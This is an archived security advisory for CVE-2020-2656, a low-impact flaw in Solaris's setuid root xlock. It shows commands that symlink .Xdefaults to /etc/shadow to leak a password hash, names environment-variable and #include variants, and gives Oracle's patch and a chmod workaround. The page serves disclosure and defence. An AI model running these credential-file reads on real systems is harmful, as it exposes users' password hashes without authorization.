Solaris xlock Information Disclosure

Authored by Marco Ivaldi

Posted Jan 17, 2020

A low impact information disclosure vulnerability in the setuid root xlock binary distributed with Solaris may allow local users to read partial contents of sensitive files. Due to the fact that target files must be in a very specific format, exploitation of this flaw to escalate privileges in a realistic scenario is unlikely.

tags | exploit, local, root, info disclosure
systems | solaris
advisories | CVE-2020-2656
SHA-256 | a03fb7575a6762318b5f522c1cd86e250b04e78f95dc0676d4b6ae90596cb912 **Download | Favorite | View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
@Mediaservice.net Security Advisory #2020-01 (last updated on 2020-01-15)

         Title:  Low impact information disclosure via Solaris xlock
   Application:  Setuid root xlock binary distributed with Solaris
     Platforms:  Oracle Solaris 11.x (confirmed on 11.4 X86)
    Oracle Solaris 10 (confirmed on 10 1/13 X86)
    OpenIndiana Hipster 2019.10 and earlier
    Other platforms are potentially affected
   Description:  A low impact information disclosure vulnerability in the setuid
    root xlock binary distributed with Solaris may allow local
    users to read partial contents of potentially sensitive files
        Author:  Marco Ivaldi <marco.ivaldi@mediaservice.net>
 Vendor Status:  <secalert_us@oracle.com> notified on 2019-09-24
      CVE Name:  CVE-2020-2656
   CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N (Base Score: 4.4)
    References: https://github.com/0xdea/advisories/blob/master/2020-01-solaris-xlock.txt
    https://www.oracle.com/security-alerts/cpujan2020.html
    https://www.oracle.com/technetwork/server-storage/solaris11/
    https://www.oracle.com/technetwork/server-storage/solaris10/
    https://www.openindiana.org/
    https://github.com/oracle/solaris-userland/tree/master/components/x11/app/xlock/sun-src
    https://www.mediaservice.net/
    https://0xdeadbeef.info/

1. Abstract.

A low impact information disclosure vulnerability in the setuid root xlock
binary distributed with Solaris may allow local users to read partial contents
of sensitive files. Due to the fact that target files must be in a very
specific format, exploitation of this flaw to escalate privileges in a
realistic scenario is unlikely.

2. Example Attack Session.

In order to reproduce this bug, the following commands can be used:

raptor@stalker:~$ cat /etc/release
                             Oracle Solaris 11.4 X86
  Copyright (c) 1983, 2018, Oracle and/or its affiliates.  All rights reserved.
                            Assembled 16 August 2018
raptor@stalker:~$ uname -a
SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc
raptor@stalker:~$ id
uid=100(raptor) gid=10(staff)
raptor@stalker:~$ tail -1 /etc/passwd
user.mode:x:101:10::/export/home/user:/usr/bin/bash
raptor@stalker:~$ ln -s /etc/shadow .Xdefaults
raptor@stalker:~$ Xorg :1 &
raptor@stalker:~$ xlock -name user -display :1
Unknown mode: xlock:  bad command line option
"$5$rounds=10000$wHWiSUhf$NKjMUwIRiVVB/GYx.HZvnMhou9RUT.qaiJhKg265um7:18160::::::"

3. Discussion.

The detected information disclosure happens because xlock does not drop root
privileges and follows a malicious symlink to an arbitrary file when opening
the ~/.Xdefaults configuration file with the XrmGetFileDatabase() function of
libX11. Subsequently, xlock's CheckResources() function prints partial contents
of the last line of the file that matches the following pattern (the
resource-name string can be specified with the -name command line switch of
xlock):

[resource-name].mode:[sensitive data]

For instance, if a username in the shadow file ends with the string ".mode"
(e.g. "user.mode" as shown in the above example) it is possible for a low
privileged user to exploit this flaw in order to reveal the corresponding
password hash. Similar results can be achieved in case of usernames that end
with the following strings:

* ".font": the password hash is included in an error message printed by xlock
* ".info": the password hash is displayed as part of xlock's unlock dialog
* ".validate": the password hash is displayed as part of xlock's unlock dialog

Instead of creating a symlink, an attacker could exploit this flaw by directly
setting the XFILESEARCHPATH or XUSERFILESEARCHPATH environment variables to
point to /etc/shadow. In this case, the password hash associated with usernames
that end with the ".display" string can also be recovered. The XAPPLRESDIR
environment variable can also be manipulated to achieve similar results.
Finally, the directive #include "/etc/shadow" in a configuration file can also
be used to trick xlock into opening the /etc/shadow file.

Other exploitation vectors may be available.

4. Affected Platforms.

This bug was confirmed on the following platforms:

* Oracle Solaris 11.x (confirmed on 11.4 X86)
* Oracle Solaris 10 (confirmed on 10 1/13 X86)
* OpenIndiana Hipster 2019.10 and earlier

Other Oracle Solaris versions (including those that run on the SPARC
architecture) are also likely affected.

5. Fix.

Oracle has assigned the tracking# S1212411 and has released a fix for all
affected and supported versions of Solaris in their Critical Patch Update (CPU)
of January 2020.

Oracle's patch is available in the solaris-userland open source repository on
GitHub (see commit "30352568 problem in X11/XCLIENTS"):
https://github.com/oracle/solaris-userland/commit/0b48514166d1fedf21c75a2c1af2afe55e087f23

OpenIndiana's patch is available in the oi-userland repository on GitHub (see
commit "xlock: Sync with solaris-userland (security) #5421"):
https://github.com/OpenIndiana/oi-userland/pull/5421/commits/dd92fe1f71bd25432a3b7559717d23047099437f

As a temporary workaround, it is also possible to remove the setuid bit from
the xlock executable as follows (note that this might prevent it from working
properly):

bash-3.2# chmod -s /usr/bin/xlock

Copyright (c) 2020 Marco Ivaldi and @Mediaservice.net. All rights reserved.
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other